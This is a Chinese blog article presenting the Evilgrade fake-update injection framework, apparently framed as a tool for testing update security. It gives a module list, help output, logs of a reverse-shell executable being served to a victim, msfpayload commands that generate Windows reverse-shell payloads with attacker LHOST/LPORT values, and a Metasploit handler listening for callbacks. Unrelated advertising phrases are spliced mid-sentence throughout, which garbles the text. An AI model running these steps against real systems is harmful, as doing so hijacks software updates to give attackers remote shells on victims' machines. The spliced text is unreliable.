如何使用Evilgrade测试应用程序的升级机制是否安全

关于Evilgrade

Evilgrade是何使一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的用E应用更新代码  ,并利用存在安全问题的测试程序更新实现机制来测试目标升级更新功能的安全性 。香港云服务器该工具提供了预构建的制否代理以及支持快速测试的默认工作配置。除此之外,安全该工具还拥有自己的何使WebServer和DNSServer模块  。

工具使用场景

内部场景

1、模板下载用E应用内部DNS访问;

2 、测试程序ARP欺骗;

3 、制否DNS缓存投毒;

4、安全DHCP欺骗;

5、何使TCP劫持;

6 、用E应用Wi-Fi访问点伪造;

外部场景

1、测试程序内部DNS访问;

2、建站模板制否DNS缓存投毒;

实现的安全模块

Freerip 3.30Jet photo 4.7.2Teamviewer 5.1.9385ISOpen 4.5.0Istat.Gom 2.1.25.5015Atube catcher 1.0.300Vidbox 7.5Ccleaner 2.30.1130Fcleaner 1.2.9.409Allmynotes 1.26Notepad++ 5.8.2Java 1.6.0_22 winxp/win7aMSN 0.98.3Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)Mirc 7.14Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)Dap 9.5.0.3Winscp 4.2.9AutoIt Script 3.3.6.1Clamwin 0.96.0.1AppTapp Installer 3.11 (Iphone/Itunes)getjar (facebook.com)Google Analytics Javascript injectionSpeedbit Optimizer 3.0 / Video Acceleration 2.2.1.8Winamp 5.581TechTracker (cnet) 1.3.1 (Build 55)Nokiasoftware firmware update 2.4.8esNokia firmware v20.2.011BSplayer 2.53.1034Apt ( < Ubuntu 10.04 LTS)Ubertwitter 4.6 (0.971)Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45Cpan 1.9402VirtualBox (3.2.8 )Express talkFilezillaFlashgetMirandaOrbitPhotoscape.Panda AntirootkitSkypeSunbeltSuperantispywareTrillian <= 5.0.0.26Adium 1.3.10 (Sparkle Framework)VMware...

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

复制git clone https://github.com/infobyte/evilgrade.git1.

工具使用

下面给出的是工具的帮助信息 :

复制evilgrade>

help

Type help command for more detailed help on

a command.

Commands: configure -

配置模块名称

exit -

退出程序

help -

输出工具帮助信息

reload -

重新加载并更新所有模块

restart -

重启Web服务器

set -

配置变量

show -

显示对象信息

start -

开启Web服务器

status -

获取Web服务器窗台

stop -

停止Web服务器

version -

显示框架版本

Object: options -

显示当前模块的选项

vhosts -

显示当前模块的VirtualHosts

modules -

列举所有可用的云计算模块

active - 显示活动模块1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.

列举实现的模块:

复制evilgrade>

show modules

List of modules:===============

...

...

...

- 63 modules available.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.

配置指定模块:

复制evilgrade>

conf sunjava

evilgrade(sunjava)>1.2.3.

开启服务(DNS服务器和WebServer):

复制evilgrade>

start

evilgrade>[28/10/2010:21:35:55] - [WEBSERVER] -

Webserver ready. Waiting for connections ...

evilgrade>[28/10/2010:21:35:55] - [DNSSERVER] -

DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"evilgrade>[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"evilgrade>[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"evilgrade>[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.

显示状态和日志 :

复制evilgrade>

show status

Webserver (pid 4134)

already running

Users status:============.---------------------------------------------------------------------------------------------------------------.| Client | Module | Status | Md5,Cmd,File |+----------------+------------------+--------+------------------------------------------------------------------+| 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,,"./agent/reverseshell.exe" |----------------+------------------+--------+------------------------------------------------------------------1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.

工具高级使用

使用场景一

复制evilgrade(sunjava)>set agent ["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]1.

在这种情况下,对于每个所需的更新二进制文件 ,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141  。源码库<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置 。

比如说 ,如果我们运行下列命令:

复制evilgrade(sunjava)>set agent ["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]1.

那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe" ,然后生成不同的代理。亿华云

使用场景二

在Evilgrade外运行 :

复制[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe1.

在Evilgrade内运行:

复制evilgrade(sunjava)>set agent /tmp/reverse-shell.exe1.

生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:

复制[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444

E

[*] Started reverse handler on 192.168.100.2:4444[*] Starting the payload handler...1.2.3.4.5.

项目地址

Evilgrade:【GitHub传送门】

参考资料

http://www.faradaysec.com/

物联网
上一篇:万物互联时代,我们如何应对物联网安全挑战?
下一篇:黑客向 NPM 发送大量伪造包,引发 DoS 攻击